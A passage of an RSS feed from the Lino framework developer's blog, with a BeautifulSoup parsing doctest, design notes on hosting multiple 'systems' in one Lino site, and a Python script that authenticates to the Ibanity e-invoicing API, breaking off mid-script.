&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&amp;lt;p&amp;gt;foo &amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;base href=&amp;quot;bar&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;baz&amp;lt;/p&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;features&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lxml&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;p&amp;gt;foo &amp;lt;/p&amp;gt;&amp;lt;base href=&amp;quot;bar&amp;quot; target=&amp;quot;_blank&amp;quot;/&amp;gt;&amp;lt;p&amp;gt;baz&amp;lt;/p&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0208.html</guid><pubDate>Sat, 08 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Lino sites with multiple “systems”</title><link>https://luc.lino-framework.org/blog/2025/0202.html</link><description>&lt;section id="lino-sites-with-multiple-systems"&gt;
&lt;h1&gt;Lino sites with multiple “systems”&lt;a class="headerlink" href="#lino-sites-with-multiple-systems" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sunday, February 2, 2025.&lt;/p&gt;
&lt;p&gt;Here is a set of unfinished ideas about  &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5904"&gt;#5904&lt;/a&gt; (Lino sites with
multiple “systems”), which is the result of my medittions on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5901"&gt;#5901&lt;/a&gt; and
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5902"&gt;#5902&lt;/a&gt;.  This blog entry is meant to be integrated into the Developer
Guide when the time has come. There is no need to hurry.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.ledgers&lt;/span&gt;&lt;/code&gt; plugin expresses something important, but the
name “ledgers” is misleading. It’s about more than accounting. And it is even
more than a plugin, it is a new core feature, causing changes in many places of
the Lino core. This is not a job for a simple plugin. The
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.ledgers&lt;/span&gt;&lt;/code&gt; plugin will be replaced by a new site attribute.  The
Lino world will get a new fundamental concept: we knew already the difference
between a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-server" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino server&lt;/span&gt;&lt;/a&gt; and a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino site&lt;/span&gt;&lt;/a&gt;, but now we will also talk
about &lt;a class="reference internal" href="#term-Lino-system"&gt;&lt;span class="xref std std-term"&gt;Lino systems&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;dl class="simple glossary"&gt;
&lt;dt id="term-Lino-system"&gt;Lino system&lt;a class="headerlink" href="#term-Lino-system" title="Link to this term"&gt;¶&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;A subset of a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino site&lt;/span&gt;&lt;/a&gt; that is accessible only to end users who are
part of this system. Each system can be subject to an individual hosting
agreement with a customer.&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;With this new feature, a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-hosting-provider" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;hosting provider&lt;/span&gt;&lt;/a&gt; can run a single &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino
site&lt;/span&gt;&lt;/a&gt; and share it among multiple customers. Which is potentially much more
lucrative.&lt;/p&gt;
&lt;p&gt;Until now all Lino sites are single-system. They have one and only one instance
of  the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/system.html#lino.modlib.system.SiteConfig" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.system.SiteConfig&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; model. We will rename this model
to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;system.System&lt;/span&gt;&lt;/code&gt; and introduce a new site attribute
&lt;a class="reference internal" href="#setting-multisystem"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;multisystem&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;dl class="std setting"&gt;
&lt;dt class="sig sig-object std" id="setting-multisystem"&gt;
&lt;span class="sig-name descname"&gt;&lt;span class="pre"&gt;multisystem&lt;/span&gt;&lt;/span&gt;&lt;a class="headerlink" href="#setting-multisystem" title="Link to this definition"&gt;¶&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Whether this &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino site&lt;/span&gt;&lt;/a&gt; hosts multiple &lt;a class="reference internal" href="#term-Lino-system"&gt;&lt;span class="xref std std-term"&gt;Lino systems&lt;/span&gt;&lt;/a&gt;. You activate it in your &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Site&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Site&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;multisystem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;p&gt;Or should it rather be plugin setting? In this case the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
would look like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_plugin_configs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_plugin_configs&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;system&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;multisystem&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Whether site attribute or plugin setting, the idea is that on a multisystem site
there can me more than one &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;system.System&lt;/span&gt;&lt;/code&gt; instance.&lt;/p&gt;
&lt;p&gt;On a multisystem site, most database models get an additional field named
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;system&lt;/span&gt;&lt;/code&gt;, which is a non-nullable &lt;a class="reference external" href="https://using.lino-framework.org/topics/rdbms.html#term-foreign-key" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;foreign key&lt;/span&gt;&lt;/a&gt; to
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;system.System&lt;/span&gt;&lt;/code&gt;. So every database row belongs to a given system. And
this field is &lt;em&gt;invisible to normal users&lt;/em&gt;. It is automatically set when the user
creates a new database row, and Lino automatically guarantees to never show to a
normal user any database rows belonging to an alien system.&lt;/p&gt;
&lt;p&gt;Normal users are not aware that a Lino site hosts multiple systems.&lt;/p&gt;
&lt;p&gt;We will have a new user role &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;SystemAware&lt;/span&gt;&lt;/code&gt;. A system-aware user can see
and edit this special field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;system&lt;/span&gt;&lt;/code&gt;.  A multisystem Lino site should
define a dedicated user type who does nothing but managing systems.
The system manager of a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino site&lt;/span&gt;&lt;/a&gt; is responsible for&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;creating new systems and initializing them with demo data or default data from
fixtures or from from templates&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;creating at least one user for every system&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;deactivating or deleting systems that are no longer used&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.Users" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.Users&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; table will get the following required
roles:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;required_roles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="n"&gt;SiteAdmin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SystemAware&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A tuple in &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.required_roles" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;required_roles&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  means
that one &lt;em&gt;OR&lt;/em&gt; the other role is required.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;system.Systems&lt;/span&gt;&lt;/code&gt; table will differ depending on whether
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;multisite&lt;/span&gt;&lt;/code&gt; is &lt;cite&gt;True&lt;/cite&gt; or &lt;cite&gt;False&lt;/cite&gt;. This might get a bit magical.&lt;/p&gt;
&lt;p&gt;I said that &lt;em&gt;most&lt;/em&gt; database models get an additional field named &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;system&lt;/span&gt;&lt;/code&gt;
because at least &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contenttypes.ContentType&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;sessions.Session&lt;/span&gt;&lt;/code&gt;
do &lt;em&gt;not&lt;/em&gt; need this field.&lt;/p&gt;
&lt;p&gt;We will probably say &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;known_values.update(system=self.user.system)&lt;/span&gt;&lt;/code&gt; in
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Request.__init__()&lt;/span&gt;&lt;/code&gt; or &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Request.setup()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We will have to fight quite some dragons.&lt;/p&gt;
&lt;p&gt;Once more: there is no need to hurry. Even the term “system” might change. Try
for example to re-read this post and replace “system” by “community”.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0202.html</guid><pubDate>Sun, 02 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Playing with Ibanity (continued)</title><link>https://luc.lino-framework.org/blog/2025/0123.html</link><description>&lt;section id="playing-with-ibanity-continued"&gt;
&lt;h1&gt;Playing with Ibanity (continued)&lt;a class="headerlink" href="#playing-with-ibanity-continued" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, January 23, 2025&lt;/p&gt;
&lt;p&gt;Geoffrey helped me to find the mistakes in my &lt;a class="reference internal" href="0122.html"&gt;&lt;span class="doc"&gt;yesterday&lt;/span&gt;&lt;/a&gt; script:
content type should be &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;application/vnd.api+json&lt;/span&gt;&lt;/code&gt;,  there was a mistake in my
URL, and the payload should get specified using the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;json&lt;/span&gt;&lt;/code&gt; keyword argument
instead of &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;data&lt;/span&gt;&lt;/code&gt; (I didn’t know this argument, so I looked up the &lt;a class="reference external" href="https://requests.readthedocs.io/en/latest/api/#requests.request"&gt;API docs&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Here, finally, is the working script:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# See https://luc.lino-framework.org/blog/2025/0123.html&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;uuid&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pprint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;

&lt;span class="c1"&gt;# Define client ID and secret&lt;/span&gt;
&lt;span class="n"&gt;client_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;69d85961-7d68-474d-9ac2-426fdc71bab8&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;client_secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;valid_client_secret&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Define certificate and key file paths&lt;/span&gt;
&lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;~/Documents/ibanity/application_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expanduser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;certificate.pem&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;decrypted_private_key.pem&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Validate if the key and certificate files exist&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: Certificate file not found at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: Private key file not found at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Base64 encode client_id and client_secret for Basic Auth&lt;/span&gt;
&lt;span class="n"&gt;client_credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_secret&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;encoded_credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client_credentials&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Create an HTTPS session&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Attach client certificate and key to the session&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Add the Authorization header&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Basic &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;encoded_credentials&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/x-www-form-urlencoded&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# Required for OAuth2 requests&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/oauth2/token&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grant_type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;client_credentials&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Unexpected response status code: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;access_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;access_token&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Customer search. Check whether my customer exists.&lt;/span&gt;
&lt;span class="c1"&gt;# Belgian participants are registered with the Belgian company number, for which&lt;/span&gt;
&lt;span class="c1"&gt;# identifier 0208 can be used. Optionally, the customer can be registered with&lt;/span&gt;
&lt;span class="c1"&gt;# their VAT number, for which identifier 9925 can be used.&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Customer search&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/peppol/customer-searches&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;eas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;9925&amp;quot;&lt;/span&gt;
